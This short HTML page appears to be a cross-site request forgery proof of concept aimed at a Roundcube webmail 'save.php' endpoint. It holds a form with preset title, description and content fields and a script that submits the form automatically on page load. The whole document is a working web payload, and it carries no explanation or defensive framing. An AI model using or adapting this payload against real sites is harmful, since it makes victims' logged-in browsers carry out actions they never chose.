<form action="https://roundcube.com/roundcubemail/save.php" method="post" id="csrf_rss">
    <input type="hidden" name="_token" value="student@localhost">
    <input type="text" name="r_title" id="r_title" value="CSRF RSS">
    <input type="text" name="r_desc" id="r_desc" value="CSRF desc">
    <textarea name="r_content">CSRF Content Hoha</textarea>
</form>
<script type="text/javascript">
document.getElementById('csrf_rss').submit();
</script>